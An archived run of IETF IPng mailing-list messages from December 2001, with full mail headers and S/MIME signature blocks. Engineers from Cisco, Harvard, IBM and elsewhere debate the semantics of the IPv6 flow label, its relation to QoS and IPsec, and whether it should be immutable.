14:02:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBSM2EZR023333 for ; Fri, 28 Dec 2001 14:02:14 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA07864 for ; Fri, 28 Dec 2001 14:02:17 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA25992 for ; Fri, 28 Dec 2001 14:02:17 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBSM1vw06078; Fri, 28 Dec 2001 14:01:57 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO96076; Fri, 28 Dec 2001 14:01:41 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA09318; Fri, 28 Dec 2001 14:02:14 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15404.60390.375342.620196@thomasm-u1.cisco.com> Date: Fri, 28 Dec 2001 14:02:14 -0800 (PST) To: "Perry E. Metzger" Cc: Michael Thomas , Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: Flow Label In-Reply-To: <873d1vdng3.fsf@snark.piermont.com> References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <3C2B1CED.5752F5C@hursley.ibm.com> <87n1043dk4.fsf@snark.piermont.com> <3C2B3FA8.2B9C8CCB@hursley.ibm.com> <87d7103btc.fsf@snark.piermont.com> <15404.54703.385314.958490@thomasm-u1.cisco.com> <87lmfndp86.fsf@snark.piermont.com> <15404.59525.580362.577015@thomasm-u1.cisco.com> <873d1vdng3.fsf@snark.piermont.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Perry E. Metzger writes: > > Michael Thomas writes: > > Perry E. Metzger writes: > > > Michael Thomas writes: > > > > Bzzt. You're overloading semantics. SPI's enumerate > > > > the set of packets for which a given security policy > > > > applies. That may have exactly zero to do with the > > > > QoS policies you'd like to apply. > > > > > > In the scheme proposed, flow labels just enumerate a set of packets > > > that a host has chosen to designate as a "flow" because, say, they're > > > all using the same TCP socket -- which may also have exactly zero to > > > do with the QoS policies you'd like to apply. How is it any different > > > than the SPI situation? > > > > Again, security policy is not identical to > > QoS policy. The only way to make them identical > > is to have separate IPsec SA's for each QoS flow. > > This would be a huge waste, both on the signaling > > front as well as the SADB cost. > > Er, you already in practice have an SPI for every flow. See my other > message on this subject. Uh, no. In practice there's a single SPI for all of the traffic. Also: in practice the cross product of QoS and IPsec is pretty rare. I expect that will change with the advent of lots of IP phones going across VPN's, but when that happens you want hard coupling of QoS and Security even less: VPN concentrators have finite memory/hardware for SA's. Since there's no security benefit, you're just adding cost to achieve feature parity. This would not be the case with the flow label. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 29 13:55:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTLtmZR024414 for ; Sat, 29 Dec 2001 13:55:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBTLtmxU024413 for ipng-dist; Sat, 29 Dec 2001 13:55:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTLtjZR024406 for ; Sat, 29 Dec 2001 13:55:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA27980 for ; Sat, 29 Dec 2001 13:55:47 -0800 (PST) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA19808 for ; Sat, 29 Dec 2001 14:55:47 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBTLtIw22899; Sat, 29 Dec 2001 13:55:18 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAP02189; Sat, 29 Dec 2001 13:55:03 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA09661; Sat, 29 Dec 2001 13:55:31 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15406.15315.63.389107@thomasm-u1.cisco.com> Date: Sat, 29 Dec 2001 13:55:30 -0800 (PST) To: Scott Bradner Cc: mat@cisco.com, ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, perry@wasabisystems.com Subject: Re: Flow Label In-Reply-To: <200112270023.fBR0NoU13034@newdev.harvard.edu> References: <200112270023.fBR0NoU13034@newdev.harvard.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott Bradner writes: > > Yes, and it almost always means "let's ignore > > admission control" too. > > yes, and that will be a real problem wherever the level of priority > traffic approaches the size of the links (which could easily happen > if video traffic gets prioritized) And?? The hard part of all of this is that e2e signaling for QoS is a genuine Hard Problem. Here you seem to acknowledge that it's needed, but you also seem to be saying that you can ignore if you drink the class based QoS Kool Aide. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 29 14:02:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTM2JZR024442 for ; Sat, 29 Dec 2001 14:02:19 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBTM2JZY024441 for ipng-dist; Sat, 29 Dec 2001 14:02:19 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTM2FZR024434 for ; Sat, 29 Dec 2001 14:02:15 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA28290 for ; Sat, 29 Dec 2001 14:02:18 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA07371 for ; Sat, 29 Dec 2001 15:03:14 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBTM27021064; Sat, 29 Dec 2001 17:02:07 -0500 (EST) Date: Sat, 29 Dec 2001 17:02:07 -0500 (EST) From: Scott Bradner Message-Id: <200112292202.fBTM27021064@newdev.harvard.edu> To: mat@cisco.com Subject: Re: Flow Label Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > And?? see http://www.ietf.org/html.charters/nsis-charter.html but you also seem to be saying that you can ignore if you drink the class based QoS Kool Aide. no me - I did not say that Scott ---- From thomasm@cisco.com Sat Dec 29 16:55:55 2001 From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Sat, 29 Dec 2001 13:55:30 -0800 (PST) To: Scott Bradner Cc: mat@cisco.com, ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, perry@wasabisystems.com Subject: Re: Flow Label In-Reply-To: <200112270023.fBR0NoU13034@newdev.harvard.edu> References: <200112270023.fBR0NoU13034@newdev.harvard.edu> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Scott Bradner writes: > > Yes, and it almost always means "let's ignore > > admission control" too. > > yes, and that will be a real problem wherever the level of priority > traffic approaches the size of the links (which could easily happen > if video traffic gets prioritized) And?? The hard part of all of this is that e2e signaling for QoS is a genuine Hard Problem. Here you seem to acknowledge that it's needed, but you also seem to be saying that you can ignore if you drink the class based QoS Kool Aide. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sat Dec 29 15:03:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTN3VZR024478 for ; Sat, 29 Dec 2001 15:03:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBTN3VCr024477 for ipng-dist; Sat, 29 Dec 2001 15:03:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBTN3SZR024470 for ; Sat, 29 Dec 2001 15:03:28 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA29408 for ; Sat, 29 Dec 2001 15:03:29 -0800 (PST) Received: from rip.psg.com (rip.psg.com [147.28.0.39]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA25607 for ; Sat, 29 Dec 2001 16:03:28 -0700 (MST) Received: from randy by rip.psg.com with local (Exim 3.33 #1) id 16KSVT-0008zC-00; Sat, 29 Dec 2001 15:03:11 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Michael Thomas Cc: Scott Bradner , ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com, perry@wasabisystems.com Subject: Re: Flow Label References: <200112270023.fBR0NoU13034@newdev.harvard.edu> <15406.15315.63.389107@thomasm-u1.cisco.com> Message-Id: Date: Sat, 29 Dec 2001 15:03:11 -0800 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Scott Bradner writes: >>> Yes, and it almost always means "let's ignore >>> admission control" too. >> yes, and that will be a real problem wherever the level of priority >> traffic approaches the size of the links (which could easily happen >> if video traffic gets prioritized) > And?? > The hard part of all of this is that e2e > signaling for QoS is a genuine Hard Problem. > Here you seem to acknowledge that it's needed, > but you also seem to be saying that you can > ignore if you drink the class based QoS Kool > Aide. scott's subtle that way. notice he did not actually say he believed mr jones. the nice thing about qos is that, when the links become overbooked as in the example, qos just makes more bandwidth. randy -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 08:24:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGOAZR025032 for ; Sun, 30 Dec 2001 08:24:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUGOAC9025031 for ipng-dist; Sun, 30 Dec 2001 08:24:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGO7ZR025024 for ; Sun, 30 Dec 2001 08:24:07 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA19634 for ; Sun, 30 Dec 2001 08:24:08 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA10842 for ; Sun, 30 Dec 2001 08:24:08 -0800 (PST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id LAA02555; Sun, 30 Dec 2001 11:26:37 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id LAA02230; Sun, 30 Dec 2001 11:26:36 -0500 Message-ID: <3C2F400E.2504C52F@txc.com> Date: Sun, 30 Dec 2001 11:25:50 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4.2.2.20011220133537.024a12e0@mail.windriver.com> <4.2.2.20011220144423.01f5e100@mail.windriver.com> <4.2.2.20011221111819.00a82100@mail.windriver.com> <3C29CD5F.83D8AEDE@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms903BB7AE9325B4F7C2979CB9" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms903BB7AE9325B4F7C2979CB9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brian, Brian E Carpenter wrote: > > Margaret, > [...] > [Immutability isn't a requirement for this to be true, but immutablility > also makes it unnecessary to have a string-of-SLAs all along the path for > useful classification to be possible. I disagree with Alex on this - > I really do think immutability is a requirement, even if it is subject to > 'gentleman's agreement'.] > > Brian > The mutability by itself does not require the flow setup mechanism (you choose a string of SLAs) to say or do anything about it - by default, routers would treat the flow label as immutable. However, when for any reason, it is useful to have the field mutable, the flow setup mechanism (SLAs, or anything else) MUST provide the necessary information to a subset of routers on the path that modify the field. The "subset" is anything between "one" to "all" routers on the path. Alex --------------ms903BB7AE9325B4F7C2979CB9 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 d6RAqwODEfrMo+UgOBwB5Ge+1DwrATDK5g1ycUmab1FCE/oCWKWp7ttKF01iFPMnv6X359uj pSYWP3pvNdr7JoA0+wIDAQABo4IBODCCATQwCQYDVR0TBAIwADCBrAYDVR0gBIGkMIGhMIGe BgtghkgBhvhFAQcBATCBjjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29t L0NQUzBiBggrBgEFBQcCAjBWMBUWDlZlcmlTaWduLCBJbmMuMAMCAQEaPVZlcmlTaWduJ3Mg Q1BTIGluY29ycC4gYnkgcmVmZXJlbmNlIGxpYWIuIGx0ZC4gKGMpOTcgVmVyaVNpZ24wEQYJ YIZIAYb4QgEBBAQDAgeAMDAGCmCGSAGG+EUBBgcEIhYgMjUzMTYxNzA3NGE1YTU1NzkzYzdl ODQyNjYxMjUwMjYwMwYDVR0fBCwwKjAooCagJIYiaHR0cDovL2NybC52ZXJpc2lnbi5jb20v Y2xhc3MxLmNybDANBgkqhkiG9w0BAQQFAAOBgQA0yPwnlaV3opZRses+UaAskkrPGC0jXwsu 7PKoN3dTKAd9UlWmZU1CBA3ZuoSGymYR+BLLDYdaLOJjKS3eWD5Xr5ips7id3QankOYYGwKO DoHj5EcX/VBCewZ1r54Py3WehHZ08/h/HVOaQDZNOUK6331mZJBXcYwlk71xgTPuPTCCAy4w ggKXoAMCAQICEQDSdi6NFAw9fbKoJV2v7g11MA0GCSqGSIb3DQEBAgUAMF8xCzAJBgNVBAYT AlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMSBQdWJsaWMg UHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw05ODA1MTIwMDAwMDBaFw0wODA1 MTIyMzU5NTlaMIHMMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNp Z24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5 L1JQQSBJbmNvcnAuIEJ5IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24g Q2xhc3MgMSBDQSBJbmRpdmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVk MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7WkSKBBa7Vf0DeootlE8VeDa4DUqyb5xU v7zodyqdufBou5XZMUFweoFLuUgTVi3HCOGEQqvAopKrRFyqQvCCDgLpL/vCO7u+yScKXbaw NkIztW5UiE+HSr8Z2vkV6A+HthzjzMaajn9qJJLj/OBluqexfu/J2zdqyErICQbkmQIDAQAB o3wwejARBglghkgBhvhCAQEEBAMCAQYwRwYDVR0gBEAwPjA8BgtghkgBhvhFAQcBATAtMCsG CCsGAQUFBwIBFh93d3cudmVyaXNpZ24uY29tL3JlcG9zaXRvcnkvUlBBMA8GA1UdEwQIMAYB Af8CAQAwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBAgUAA4GBAIi4Nzvd2pQ3AK2qn+GBAXEe kmptL/bxndPKZDjcG5gMB4ZbhRVqD7lJhaSV8Rd9Z7R/LSzdmkKewz60jqrlCwbe8lYq+jPH vhnXU0zDvcjjF7WkSUJj7MKmFw9dWBpJPJBcVaNlIAD9GCDlX4KmsaiSxVhqwY0DPOvDzQWi kK5uMYICPDCCAjgCAQEwgeEwgcwxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUYwRAYDVQQLEz13d3cudmVyaXNpZ24uY29tL3Jl cG9zaXRvcnkvUlBBIEluY29ycC4gQnkgUmVmLixMSUFCLkxURChjKTk4MUgwRgYDVQQDEz9W ZXJpU2lnbiBDbGFzcyAxIENBIEluZGl2aWR1YWwgU3Vic2NyaWJlci1QZXJzb25hIE5vdCBW YWxpZGF0ZWQCEFPba2NE7lOz0w42qi29kXEwCQYFKw4DAhoFAKCBsTAYBgkqhkiG9w0BCQMx CwYJKoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMzAxNjI1NTFaMCMGCSqGSIb3DQEJ BDEWBBSTrIpt3d7TxsRGk3ZSvtcq5UmxtDBSBgkqhkiG9w0BCQ8xRTBDMAoGCCqGSIb3DQMH MA4GCCqGSIb3DQMCAgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBQDANBggqhkiG9w0DAgIB KDANBgkqhkiG9w0BAQEFAASBgJIfezBot6h1Us8A1T9i7DovY0UU0nqw8DoVqhKkskGjHEq+ R4vg2z1n96PJ4F3nPi2rO9fGOvXzlRD/6QVwoI4baJa4qRdO6qjqJxUgtFT1L/UGw0V1OJF6 fB3+Q0dJ8jRsKveyGbOUZn/x9h9GeV+ewPtKMMBKiWY8sHg31HMf --------------ms903BB7AE9325B4F7C2979CB9-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Sun Dec 30 08:28:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGSiZR025060 for ; Sun, 30 Dec 2001 08:28:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBUGSiNP025059 for ipng-dist; Sun, 30 Dec 2001 08:28:44 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBUGSfZR025052 for ; Sun, 30 Dec 2001 08:28:41 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA19782 for ; Sun, 30 Dec 2001 08:28:39 -0800 (PST) Received: from mailhub.txc.com (transfire.txc.com [208.5.237.254]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA22447 for ; Sun, 30 Dec 2001 09:28:38 -0700 (MST) Received: from jade.txc.com (jade.txc.com [198.138.97.40]) by mailhub.txc.com (8.9.3/8.9.3) with SMTP id LAA02576; Sun, 30 Dec 2001 11:31:07 -0500 Received: from txc.com by jade.txc.com (SMI-8.6/SMI-SVR4) id LAA02295; Sun, 30 Dec 2001 11:31:06 -0500 Message-ID: <3C2F411F.1FB1A784@txc.com> Date: Sun, 30 Dec 2001 11:30:23 -0500 From: Alex Conta X-Mailer: Mozilla 4.77 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: "Hesham Soliman (ERA)" , "'Margaret Wasserman'" , Tony Hain , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw.ericsson.se> <3C29CA9F.C969BC79@hursley.ibm.com> Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms88F486B637D2DF2EEA1858B4" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a cryptographically signed message in MIME format. --------------ms88F486B637D2DF2EEA1858B4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Brian, Specifying immutability as a universal requirement is too strong. Whether the field is mutable or not should be left to the definition of the use of the field (i.e. the flow setup and flow processing mechanism). An acceptable requirement could be that by default the field is immutable. Alex Brian E Carpenter wrote: > > "Hesham Soliman (ERA)" wrote: > ... > > => Perhaps another way to look at this, is to > > come back to basics and say that the flow label > > is part of the IPv6 header, therefore it seems > > rational to let IPv6 WG define its use. > > I don't see anything wrong with this, no other > > fields in the IPv6 header are defined by other > > groups. > > > > Not so: diffserv defined the traffic class (RFC 2474) and the ECN bits were > not even defined by a WG. > > I think that the IPv6 WG needs to define the general rules of the flow label > such as [im]mutablity but the detailed usage may be defined elsewhere. > > Brian > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- --------------ms88F486B637D2DF2EEA1858B4 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIIKQwYJKoZIhvcNAQcCoIIKNDCCCjACAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC B88wggSZMIIEAqADAgECAhBT22tjRO5Ts9MONqotvZFxMA0GCSqGSIb3DQEBBAUAMIHMMRcw FQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29y azFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1JQQSBJbmNvcnAuIEJ5 IFJlZi4sTElBQi5MVEQoYyk5ODFIMEYGA1UEAxM/VmVyaVNpZ24gQ2xhc3MgMSBDQSBJbmRp dmlkdWFsIFN1YnNjcmliZXItUGVyc29uYSBOb3QgVmFsaWRhdGVkMB4XDTAxMTAwOTAwMDAw MFoXDTAyMTAwNDIzNTk1OVowggELMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UE CxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazFGMEQGA1UECxM9d3d3LnZlcmlzaWduLmNvbS9y ZXBvc2l0b3J5L1JQQSBJbmNvcnAuIGJ5IFJlZi4sTElBQi5MVEQoYyk5ODEeMBwGA1UECxMV UGVyc29uYSBOb3QgVmFsaWRhdGVkMTMwMQYDVQQLEypEaWdpdGFsIElEIENsYXNzIDEgLSBO ZXRzY2FwZSBGdWxsIFNlcnZpY2UxEzARBgNVBAMUCkFsZXggQ29udGExHTAbBgkqhkiG9w0B CQEWDmFjb250YUB0eGMuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8pEA2sjg+ 0ynE9D2vtcBuy/TmA2NI6bhBQgSgmdHLYsI4ICXjR/im0tPg5Uc4BqnlFtf7U96XRalPp6a9 